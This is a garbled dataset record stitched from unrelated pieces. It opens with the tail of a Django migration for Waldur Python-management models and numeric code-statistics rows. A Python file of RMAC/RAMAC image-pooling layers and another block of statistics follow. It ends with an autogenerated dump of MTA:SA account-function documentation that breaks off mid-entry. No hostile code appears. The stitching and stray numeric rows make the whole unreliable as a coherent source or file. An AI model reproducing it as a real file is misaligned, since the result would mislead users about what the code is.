model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')), ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')), ('uuid', waldur_core.core.fields.UUIDField()), ('error_message', models.TextField(blank=True)), ('state', django_fsm.FSMIntegerField( choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'), (4, 'Erred')], default=5)), ('virtual_env_name', models.CharField(max_length=255)), ('output', models.TextField(blank=True)), ('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='PythonManagementDeleteVirtualEnvRequest', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')), ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')), ('uuid', waldur_core.core.fields.UUIDField()), ('error_message', models.TextField(blank=True)), ('state', django_fsm.FSMIntegerField( choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'), (4, 'Erred')], default=5)), ('virtual_env_name', models.CharField(max_length=255)), ('output', models.TextField(blank=True)), ('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='PythonManagementFindInstalledLibrariesRequest', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')), ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')), ('uuid', waldur_core.core.fields.UUIDField()), ('error_message', models.TextField(blank=True)), ('state', django_fsm.FSMIntegerField( choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'), (4, 'Erred')], default=5)), ('virtual_env_name', models.CharField(max_length=255)), ('output', models.TextField(blank=True)), ('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='PythonManagementFindVirtualEnvsRequest', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')), ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')), ('uuid', waldur_core.core.fields.UUIDField()), ('error_message', models.TextField(blank=True)), ('state', django_fsm.FSMIntegerField( choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'), (4, 'Erred')], default=5)), ('virtual_env_name', models.CharField(max_length=255)), ('output', models.TextField(blank=True)), ('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='PythonManagementInitializeRequest', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')), ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')), ('uuid', waldur_core.core.fields.UUIDField()), ('error_message', models.TextField(blank=True)), ('state', django_fsm.FSMIntegerField( choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'), (4, 'Erred')], default=5)), ('output', models.TextField(blank=True)), ('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='PythonManagementSynchronizeRequest', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')), ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')), ('uuid', waldur_core.core.fields.UUIDField()), ('error_message', models.TextField(blank=True)), ('state', django_fsm.FSMIntegerField( choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'), (4, 'Erred')], default=5)), ('virtual_env_name', models.CharField(max_length=255)), ('output', models.TextField(blank=True)), ('libraries_to_install', waldur_core.core.fields.JSONField(blank=True, default=[], help_text='List of libraries to install')), ('libraries_to_remove', waldur_core.core.fields.JSONField(blank=True, default=[], help_text='List of libraries to remove')), ('initialization_request', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='sychronization_requests', to='python_management.PythonManagementInitializeRequest')), ('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='VirtualEnvironment', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=150, validators=[waldur_core.core.validators.validate_name], verbose_name='name')), ('uuid', waldur_core.core.fields.UUIDField()), ('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='virtual_environments', to='python_management.PythonManagement')), ], options={ 'abstract': False, }, ), migrations.AddField( model_name='installedlibrary', name='virtual_environment', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='installed_libraries', to='python_management.VirtualEnvironment'), ), migrations.AlterUniqueTogether( name='pythonmanagement', unique_together=set([('instance', 'virtual_envs_dir_path')]), ), ]
60.912621
180
0.600574
1,178
12,548
6.231749
0.128183
0.038959
0.052309
0.049585
0.820597
0.808064
0.791309
0.777687
0.777687
0.771148
0
0.011427
0.253746
12,548
205
181
61.209756
0.772533
0.005419
0
0.725888
1
0
0.18458
0.060912
0
0
0
0
0
1
0
false
0
0.040609
0
0.060914
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
6458786375925fa52609259016cc004c623e096a
5,255
py
Python
pooling.py
RetrainIt/Perfect-Half-Million-Beauty-Product-Image-Recognition-Challenge
080aa5ae2f2755c6dc10b7cdc910ec0f76bc82c3
[ "Apache-2.0" ]
15
2018-07-06T09:29:20.000Z
2021-05-15T05:22:36.000Z
pooling.py
X-Lambert/Perfect-Half-Million-Beauty-Product-Image-Recognition-Challenge
55b1be6fdb80e403efb495000e85157bbc626dbf
[ "Apache-2.0" ]
1
2019-03-17T12:11:30.000Z
2019-03-27T02:47:51.000Z
pooling.py
X-Lambert/Perfect-Half-Million-Beauty-Product-Image-Recognition-Challenge
55b1be6fdb80e403efb495000e85157bbc626dbf
[ "Apache-2.0" ]
3
2018-07-06T09:29:22.000Z
2021-05-15T05:22:37.000Z
import torch import torch.nn as nn import math import torch.nn.functional as F # -------------------------------------- # Pooling layers # -------------------------------------- def rmac(x, L=3, eps=1e-6): ovr = 0.4 # desired overlap of neighboring regions steps = torch.Tensor([2, 3, 4, 5, 6, 7]) # possible regions for the long dimension W = x.size(3) H = x.size(2) w = min(W, H) w2 = math.floor(w/2.0 - 1) b = (max(H, W)-w)/(steps-1) (tmp, idx) = torch.min(torch.abs(((w**2 - w*b)/w**2)-ovr), 0) # steps(idx) regions for long dimension # region overplus per dimension Wd = 0; Hd = 0; if H < W: Wd = idx.tolist() elif H > W: Hd = idx.tolist() v = F.max_pool2d(x, (x.size(-2), x.size(-1))) v = v / (torch.norm(v, p=2, dim=1, keepdim=True) + eps).expand_as(v) for l in range(1, L+1): wl = math.floor(2*w/(l+1)) wl2 = math.floor(wl/2 - 1) if l+Wd == 1: b = 0 else: b = (W-wl)/(l+Wd-1) cenW = torch.floor(wl2 + torch.Tensor(range(l-1+Wd+1))*b) - wl2 # center coordinates if l+Hd == 1: b = 0 else: b = (H-wl)/(l+Hd-1) cenH = torch.floor(wl2 + torch.Tensor(range(l-1+Hd+1))*b) - wl2 # center coordinates for i_ in cenH.tolist(): for j_ in cenW.tolist(): if wl == 0: continue R = x[:,:,(int(i_)+torch.Tensor(range(int(wl))).long()).tolist(),:] R = R[:,:,:,(int(j_)+torch.Tensor(range(int(wl))).long()).tolist()] vt = F.max_pool2d(R, (R.size(-2), R.size(-1))) vt = vt / (torch.norm(vt, p=2, dim=1, keepdim=True) + eps).expand_as(vt) v += vt return v def ramac(x, L=3, eps=1e-6): ovr = 0.4 # desired overlap of neighboring regions steps = torch.Tensor([2, 3, 4, 5, 6, 7]) # possible regions for the long dimension W = x.size(3) H = x.size(2) w = min(W, H) w2 = math.floor(w/2.0 - 1) b = (max(H, W)-w)/(steps-1) (tmp, idx) = torch.min(torch.abs(((w**2 - w*b)/w**2)-ovr), 0) # steps(idx) regions for long dimension # region overplus per dimension Wd = 0; Hd = 0; #print(idx.tolist()) if H < W: Wd = idx.tolist()#[0] elif H > W: Hd = idx.tolist()#[0] v = F.max_pool2d(x, (x.size(-2), x.size(-1))) # find attention tt=(x.sum(1)-x.sum(1).mean()>0) # caculate weight weight=tt.sum().float()/tt.size(-2)/tt.size(-1) # ingore if weight.data<=1/3.0: weight=weight-weight v = v / (torch.norm(v, p=2, dim=1, keepdim=True) + eps).expand_as(v) * weight for l in range(1, L+1): wl = math.floor(2*w/(l+1)) wl2 = math.floor(wl/2 - 1) if l+Wd == 1: b = 0 else: b = (W-wl)/(l+Wd-1) cenW = torch.floor(wl2 + torch.Tensor(range(l-1+Wd+1))*b) - wl2 # center coordinates if l+Hd == 1: b = 0 else: b = (H-wl)/(l+Hd-1) cenH = torch.floor(wl2 + torch.Tensor(range(l-1+Hd+1))*b) - wl2 # center coordinates for i_ in cenH.tolist(): for j_ in cenW.tolist(): if wl == 0: continue R = x[:,:,(int(i_)+torch.Tensor(range(int(wl))).long()).tolist(),:] R = R[:,:,:,(int(j_)+torch.Tensor(range(int(wl))).long()).tolist()] # obtain map tt=(x.sum(1)-x.sum(1).mean()>0)[:,(int(i_)+torch.Tensor(range(int(wl))).long()).tolist(),:][:,:,(int(j_)+torch.Tensor(range(int(wl))).long()).tolist()] vt = F.max_pool2d(R, (R.size(-2), R.size(-1))) # caculate each region weight=tt.sum().float()/tt.size(-2)/tt.size(-1) if weight.data<=1/3.0: weight=weight-weight vt = vt / (torch.norm(vt, p=2, dim=1, keepdim=True) + eps).expand_as(vt) * weight v += vt return v class MAC(nn.Module): def __init__(self): super(MAC,self).__init__() def forward(self, x): return F.max_pool2d(x, (x.size(-2), x.size(-1))) def __repr__(self): return self.__class__.__name__ + '()' class SPoC(nn.Module): def __init__(self): super(SPoC,self).__init__() def forward(self, x): return F.avg_pool2d(x, (x.size(-2), x.size(-1))) def __repr__(self): return self.__class__.__name__ + '()' class RMAC(nn.Module): def __init__(self, L=3, eps=1e-6): super(RMAC,self).__init__() self.L = L self.eps = eps def forward(self, x): return rmac(x, L=self.L, eps=self.eps) def __repr__(self): return self.__class__.__name__ + '(' + 'L=' + '{}'.format(self.L) + ')' class RAMAC(nn.Module): def __init__(self, L=3, eps=1e-6): super(RAMAC,self).__init__() self.L = L self.eps = eps def forward(self, x): return ramac(x, L=self.L, eps=self.eps) def __repr__(self): return self.__class__.__name__ + '(' + 'L=' + '{}'.format(self.L) + ')'
30.201149
167
0.484681
796
5,255
3.074121
0.133166
0.053944
0.065386
0.046588
0.896199
0.896199
0.850429
0.850429
0.826318
0.771148
0
0.038889
0.314938
5,255
173
168
30.375723
0.640833
0.105994
0
0.806452
0
0
0.003423
0
0
0
0
0
0
1
0.112903
false
0
0.032258
0.064516
0.258065
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
645d25deb639ac0ff39214e91c75e4c8e692b7e5
52,193
py
Python
oops/account_functions.py
mtasa-typescript/mtasa-wiki-dump
edea1746850fb6c99d6155d1d7891e2cceb33a5c
[ "MIT" ]
null
null
null
oops/account_functions.py
mtasa-typescript/mtasa-wiki-dump
edea1746850fb6c99d6155d1d7891e2cceb33a5c
[ "MIT" ]
1
2021-02-24T21:50:18.000Z
2021-02-24T21:50:18.000Z
oops/account_functions.py
mtasa-typescript/mtasa-wiki-dump
edea1746850fb6c99d6155d1d7891e2cceb33a5c
[ "MIT" ]
null
null
null
# Autogenerated file. ANY CHANGES WILL BE OVERWRITTEN from to_python.core.types import FunctionType, \ FunctionArgument, \ FunctionArgumentValues, \ FunctionReturnTypes, \ FunctionSignature, \ FunctionDoc, \ FunctionOOP, \ FunctionOOPField, \ CompoundOOPData, \ FunctionData, \ CompoundFunctionData DUMP_PARTIAL = [ CompoundOOPData( server=[ FunctionOOP( description="""This function is a static function underneath the Account class.""", base_function_name="addAccount", class_name='Account', method=FunctionData( signature=FunctionSignature( name='add', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['account'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='name', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='pass', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='allowCaseVariations', argument_type=FunctionType( names=['bool'], is_optional=True, ), default_value='false', ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function adds an account to the list of registered accounts of the current server.' , arguments={ "name": """The name of the account you wish to make, this normally is the players name. """, "pass": """The password to set for this account for future logins. """, "allowCaseVariations": """Whether the username is case sensitive (if this is set to true, usernames Bob and bob will refer to different accounts) """ }, result='returns an account or false if the account already exists or an error occured.' , ), url='addAccount', ), field=None, is_static=True, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="copyAccountData", class_name='account', method=FunctionData( signature=FunctionSignature( name='copyDataTo', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='fromAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function copies all of the data from one account to another.' , arguments={ "theAccount": """The account you wish to copy the data to. """, "fromAccount": """The account you wish to copy the data from. """ }, result='returns a true if the accounts were valid, false otherwise.' , ), url='copyAccountData', ), field=None, is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="getAccount", class_name='Account', method=None, field=None, is_static=True, ) ], client=[ ], ), CompoundOOPData( server=[ ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="getAccountData", class_name='account', method=FunctionData( signature=FunctionSignature( name='getData', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['string'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='key', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function retrieves a string that has been stored using setAccountData. Data stored as account data is persistent across users sessions and maps, unless they are logged into a guest account.' , arguments={ "theAccount": """The account you wish to retrieve the data from. """, "key": """The key under which the data is stored """ }, result='returns a string containing the stored data or false if no data was stored under that key.' , ), url='getAccountData', ), field=None, is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="getAccountID", class_name='account', method=FunctionData( signature=FunctionSignature( name='getID', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['int'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function retrieves the ID of an account.' , arguments={ "theAccount": """The account you wish to get the ID of. """ }, result='returns a int containing the accounts id, false if the account does not exist or an invalid argument was passed to the function.' , ), url='getAccountID', ), field=FunctionOOPField( name='id', types=[ FunctionType( names=['int'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="getAccountIP", class_name='account', method=FunctionData( signature=FunctionSignature( name='getIP', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['string'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function retrieves the IP address of an account.' , arguments={ "theAccount": """The account you wish to get the IP of. """ }, result='returns a string containing the accounts ip, false if the account does not exist or an invalid argument was passed to the function.' , ), url='getAccountIP', ), field=FunctionOOPField( name='ip', types=[ FunctionType( names=['string'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="getAccountName", class_name='account', method=FunctionData( signature=FunctionSignature( name='getName', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['string'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function retrieves the name of an account.' , arguments={ "theAccount": """The account you wish to get the name of. """ }, result='returns a string containing the accounts name, false if the account does not exist or an invalid argument was passed to the function.' , ), url='getAccountName', ), field=FunctionOOPField( name='name', types=[ FunctionType( names=['string'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="getAccountPlayer", class_name='account', method=FunctionData( signature=FunctionSignature( name='getPlayer', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['player'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function returns the player element that is currently using a specified account, i.e. is logged into it. Only one player can use an account at a time.' , arguments={ "theAccount": """The account you wish to get the player of. """ }, result='returns a player element if the account is currently in use, false otherwise.' , ), url='getAccountPlayer', ), field=FunctionOOPField( name='player', types=[ FunctionType( names=['player'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description="""This function is a static function underneath the Account class.""", base_function_name="getAccounts", class_name='Account', method=FunctionData( signature=FunctionSignature( name='getAll', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['table'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function returns a table over all the accounts that exist in the server internal.db file. (Note: accounts.xml is no longer used after version 1.0.4)' , arguments={ }, result='a table over the accounts that exist in the server internal.db file. this table might be empty.' , ), url='getAccounts', ), field=None, is_static=True, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description="""This function is a static function underneath the Account class.""", base_function_name="getAccountsByData", class_name='Account', method=FunctionData( signature=FunctionSignature( name='getAllByData', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['table'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='dataName', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='value', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function returns a table containing all accounts with specified dataName and value (set with setAccountData).' , arguments={ "dataName": """The name of the data """, "value": """The value the dataName should have """ }, result='returns table containing the accounts associated with specified value at dataname. returns false if invalid arguments were specified.' , ), url='getAccountsByData', ), field=None, is_static=True, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description="""This function is a static function underneath the Account class.""", base_function_name="getAccountsByIP", class_name='Account', method=FunctionData( signature=FunctionSignature( name='getAllByIP', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['table'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='ip', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='' , arguments={ "ip": """The IP to get accounts from. """ }, result='returns table containing the accounts associated with specified ip-address. returns false if invalid arguments were specified.' , ), url='getAccountsByIP', ), field=None, is_static=True, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description="""This function is a static function underneath the Account class.""", base_function_name="getAccountsBySerial", class_name='Account', method=FunctionData( signature=FunctionSignature( name='getAllBySerial', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['table'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='serial', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function returns a table containing all accounts that were logged onto from specified serial. If the serial is empty string, it will return all accounts that were never logged onto.' , arguments={ "serial": """The serial to get accounts from """ }, result='returns table containing the accounts associated with specified serial. returns false if invalid arguments were specified.' , ), url='getAccountsBySerial', ), field=None, is_static=True, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="getAccountSerial", class_name='account', method=FunctionData( signature=FunctionSignature( name='getSerial', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['string'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function returns the last serial that logged onto the specified account.' , arguments={ "theAccount": """The account to get serial from """ }, result='returns string containing the serial, the string is empty if the account was never used. returns false if invalid arguments were specified.' , ), url='getAccountSerial', ), field=FunctionOOPField( name='serial', types=[ FunctionType( names=['string'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="getAllAccountData", class_name='account', method=FunctionData( signature=FunctionSignature( name='getAllData', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['table'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function returns a table containing all the user data for the account provided' , arguments={ "theAccount": """The account you wish to retrieve all data from. """ }, result='a table containing all the user data. this table might be empty.' , ), url='getAllAccountData', ), field=FunctionOOPField( name='data', types=[ FunctionType( names=['table'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description="""Static method [[Account]].getFromPlayer() can also be used""", base_function_name="getPlayerAccount", class_name='player', method=FunctionData( signature=FunctionSignature( name='getAccount', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['account'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='thePlayer', argument_type=FunctionType( names=['player'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function returns the specified players account object.' , arguments={ "thePlayer": """The player element you want to get the account of. """ }, result='returns the players account object, or false if the player passed to the function is invalid.' , ), url='getPlayerAccount', ), field=FunctionOOPField( name='account', types=[ FunctionType( names=['account'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="isGuestAccount", class_name='account', method=FunctionData( signature=FunctionSignature( name='isGuest', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function checks to see if an account is a guest account. A guest account is an account automatically created for a user when they join the server and deleted when they quit or login to another account. Data stored in a guest account is not stored after the player has left the server. As a consequence, this function will check if a player is logged in or not.' , arguments={ "theAccount": """The account you want to check to see if it is a guest account. """ }, result='returns true if the account is a guest account, false otherwise.' , ), url='isGuestAccount', ), field=FunctionOOPField( name='guest', types=[ FunctionType( names=['bool'], is_optional=False, ) ], ), is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="logIn", class_name='player', method=FunctionData( signature=FunctionSignature( name='logIn', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='thePlayer', argument_type=FunctionType( names=['player'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='thePassword', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This functions logs the given player in to the given account. You need to provide the password needed to log into that account.' , arguments={ "thePlayer": """The player to log into an account """, "theAccount": """The account to log the player into """, "thePassword": """The password needed to sign into this account """ }, result='returns true if the player was successfully logged into the given account. returns false or nil if the log in failed for some reason, ie. the player was already logged in to some account (use logout first), if the account was already in use or if it failed for some other reason.' , ), url='logIn', ), field=None, is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="logOut", class_name='player', method=FunctionData( signature=FunctionSignature( name='logOut', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='thePlayer', argument_type=FunctionType( names=['player'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function logs the given player out of his current account.' , arguments={ "thePlayer": """The player to log out of his current account """ }, result='returns true if the player was successfully logged out, false or nil if it failed for some reason, ie. the player was never logged in.' , ), url='logOut', ), field=None, is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="removeAccount", class_name='account', method=FunctionData( signature=FunctionSignature( name='remove', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function is used to delete existing player accounts.' , arguments={ "theAccount": """The account you wish to remove """ }, result='returns true if account was successfully removed, false if the account does not exist.' , ), url='removeAccount', ), field=None, is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="setAccountData", class_name='account', method=FunctionData( signature=FunctionSignature( name='setData', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='key', argument_type=FunctionType( names=['string'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='value', argument_type=FunctionType( names=['var'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), generic_types=[ ], ), docs=FunctionDoc( description='This function sets a string to be stored in an account. This can then be retrieved using getAccountData. Data stored as account data is persistent across users sessions and maps, unless they are logged into a guest account. Even if logged into a guest account, account data can be useful as a way to store a reference to your own account system, though its persistence is equivalent to that of using setElementData on the players element.' , arguments={ "theAccount": """The account you wish to retrieve the data from. """, "key": """The key under which you wish to store the data """, "value": """The value you wish to store. Set to false to remove the data. NOTE: you cannot store tables as values, but you can use toJSON strings. """ }, result='returns a true if the account data was set, false if an invalid argument was specified.' , ), url='setAccountData', ), field=None, is_static=False, ) ], client=[ ], ), CompoundOOPData( server=[ FunctionOOP( description=None, base_function_name="setAccountName", class_name='account', method=FunctionData( signature=FunctionSignature( name='setName', return_types=FunctionReturnTypes( return_types=[ FunctionType( names=['bool'], is_optional=False, ) ], variable_length=False, ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theAccount', argument_type=FunctionType( names=['account'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='name', 